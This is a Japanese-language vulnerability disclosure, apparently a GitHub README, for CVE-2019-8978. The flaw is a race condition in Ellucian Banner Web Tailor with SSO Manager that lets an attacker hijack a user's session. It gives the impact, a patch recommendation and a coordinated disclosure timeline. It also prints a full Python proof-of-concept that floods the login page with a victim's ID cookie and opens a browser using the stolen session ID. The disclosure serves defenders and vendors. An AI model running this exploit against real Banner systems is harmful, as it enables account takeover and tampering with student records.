seckatie/cve-2019-8978Banner Web Tailor および Banner Enterprise Identity Services の脆弱性開示
著者: Katie Mulliken [email protected]
謝辞: Carnegie Mellon University CERT Coordination Center
概要
製品
影響と推奨事項
a. 影響
b. 推奨事項
技術詳細
a. 技術説明
b. エクスプロイトコード
開示タイムライン
参考情報
Banner Web Tailor および Banner Enterprise Identity Services において、不適切な認証の脆弱性 (CWE-287) が特定されました。この脆弱性は、SSO Manager が Web Tailor の認証メカニズムとして使用されている場合に発生し、影響を受けるユーザーに対する情報漏えいやデータ整合性の損失につながる可能性があります。ベンダーはこの脆弱性を検証し、現在利用可能なパッチを作成しました。詳細については、Ellucian Communities の投稿: [締切前のためリンク未提供] および Banner Enterprise Identity Services: [締切前のためリンク未提供] を参照してください。更新: IAM セクションへのリンクはこちら: https://ecommunities.ellucian.com/message/252749#252749 また、Banner General & Banner Technical Community スペースに投稿された Banner Web Tailor および SSO Manager の脆弱性に関する連絡へのリンクはこちらです - ]
Banner Web Tailor は、高等教育機関向けに作られた Web ツールで、登録、カリキュラム管理、アドバイジング、管理、およびレポート機能を提供します。学生は、登録、卒業、学資援助の情報にアクセスして変更することができます。教授や教員は、最終成績を入力し、コースを管理することができます。管理者は、学生および教員の情報にアクセスして変更することができます。このツールは数百の機関で使用されており、その多くが CAS ベースおよび SAML ベースのシングルサインオンサービスに参加するために Single Sign-on Manager の採用を選択しています。[2]
ユーザーの一意の識別子である UDCID が Cookie を介して漏えいします。この識別子が取得されたり、他の方法で知られたりした場合、アカウントの乗っ取りにつながる可能性があります。テストしたケースでは、UDCID が ID カードに印刷されている機関 ID であることが確認されました。UDCID は、攻撃者に不正アクセスをもたらすレースコンディションを悪用するために使用される可能性があります。学生の場合、攻撃者はコースから登録を削除したり、学資援助を拒否したり、個人情報を変更したりする可能性があります。教授の場合、コースを管理できなくなり、悪意のある学生が偽の最終成績を入力できるようになる可能性があります。管理者の場合、攻撃者はユーザー情報を変更したり、学生アカウントに偽の保留を設定したりする可能性があります。
影響を受ける組織は、最新バージョンに更新する必要があります。詳細については、Ellucian Communities の投稿: [締切前のためリンク未提供] および Banner Enterprise Identity Services: [締切前のためリンク未提供] を参照してください。更新: IAM セクションへのリンクはこちら: https://ecommunities.ellucian.com/message/252749#252749 また、Banner General & Banner Technical Community スペースに投稿された Banner Web Tailor および SSO Manager の脆弱性に関する連絡へのリンクはこちらです - https://ecommunities.ellucian.com/message/252810#252810。詳細については、Ellucian Communities を利用するか、ActionLine を通じて Ellucian にお問い合わせください。この開示情報の更新は GitHub で利用可能になります: https://github.com/JoshuaMulliken/CVE-2019-8978
この不適切な認証の脆弱性は、SSO Manager と組み合わせて使用される Ellucian Banner Web Tailor で発生するレースコンディションを通じて悪用される可能性があります。この脆弱性により、リモートの攻撃者は、IDMSESSID Cookie を被害者の UDCID (テストしたケースでは機関 ID) に設定して Banner Web Tailor の最初のメインページを繰り返しリクエストすることで、被害者のセッションを盗み取り (およびサービス拒否を引き起こし) ます。被害者がログインを試みている間に、攻撃者はレースコンディションを利用して、この被害者に割り当てられるはずだった SESSID を取得できます。詳細については、以下の GitHub リンクにある概念実証コードを参照してください。
""" exploit.py
This code is designed for Python 3 and requires the packages selenium and requests_threads. It does 50 simultaneous requests per batch and repeats. More or less may be required depending on your connection latency.
"""
import re, time, sys, select, os
from selenium import webdriver
from requests_threads import AsyncSession
requests_per_batch = 50
target_host = input("Please provide the target url (This is from the Web Tailor page post login): ")
target_id = input("Please provide the ID, which in the case tested is the institutional ID: ")
cookies = {
'IDMSESSID': target_id,
}
session = AsyncSession(n=requests_per_batch)
async def _main():
final_sessid = ""
os.system('cls' if os.name == 'nt' else 'clear')
print("To quit press Enter")
while True:
rs = []
for _ in range(requests_per_batch):
rs.append(await session.get(target_host, cookies=cookies))
for response in rs:
for c in response.cookies:
if (c.name == 'SESSID'):
print(c.name, c.value)
final_sessid = c.value
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
line = input()
break
print("Last SESSID:", final_sessid)
open_browser = input("Open a browser with this SESSID(y/n): ")
if open_browser == "y":
"""
This feature requires a chromedriver for your operating system version.
It can be found at https://sites.google.com/a/chromium.org/chromedriver/
Place it in the working directory of the exploit.py
"""
browser = webdriver.Chrome(executable_path=os.path.join(os.getcwd(),"chromedriver"))
browser.get(target_host)
browser.add_cookie({
"domain": target_host.split("/")[2],
"name": "SESSID",
"value": final_sessid,
})
browser.get(target_host)
stay_open = input("Press enter to close")
session.run(_main)
2018年12月18日: Ellucian のマーケティング用 Web フォームを通じた報告を試み、[email protected] に送信
2018年12月20日: Carnegie Mellon University の CERT Coordination Center にレポートを提出
2019年1月2日: LinkedIn を通じて見つけた Ellucian の CISO にレポートを提出
2019年1月2日: University of South Carolina に責任ある開示手順に関する情報を要求
2019年1月3日: Ellucian から ActionLine を通じて報告するよう指示される
2019年1月4日: University of South Carolina から脆弱性を報告する手順はないと告げられる
2019年1月4日: University of South Carolina に Banner に脆弱性を発見したことを伝える
2019年2月18日: CERT からベンダーへの連絡が失敗したと知らされ、公開開示するよう勧告される
2019年2月25日: アドバイザリの草稿を Ellucian に送信し、開示日を3月4日に設定
2019年2月28日: Zoom 会議で Ellucian に脆弱性のデモを実施
2019年3月1日: University of South Carolina から公開の延期を依頼される
2019年3月21日: University of South Carolina が Ellucian からバックポートされたパッチを受け取る
2019年3月26日: Ellucian が全バージョンのパッチを完成させる
2019年3月29日: Ellucian から、University of South Carolina が4月1日に変更を行う予定であると告げられる
2019年4月1日: University of South Carolina にパッチのステータスに関する情報を要求
2019年4月5日: University of South Carolina が2019年4月30日という ETA を示す
2019年4月30日: University of South Carolina が ETA を5月中旬に更新
2019年5月7日: 開示の公開日を5月13日に設定
2019年5月10日: University of South Carolina が5月11日に予定されている全 Banner Services の計画停止のお知らせを掲載
2019年5月11日: University of South Carolina がパッチのインストールに成功
2019年5月13日: 開示情報を公開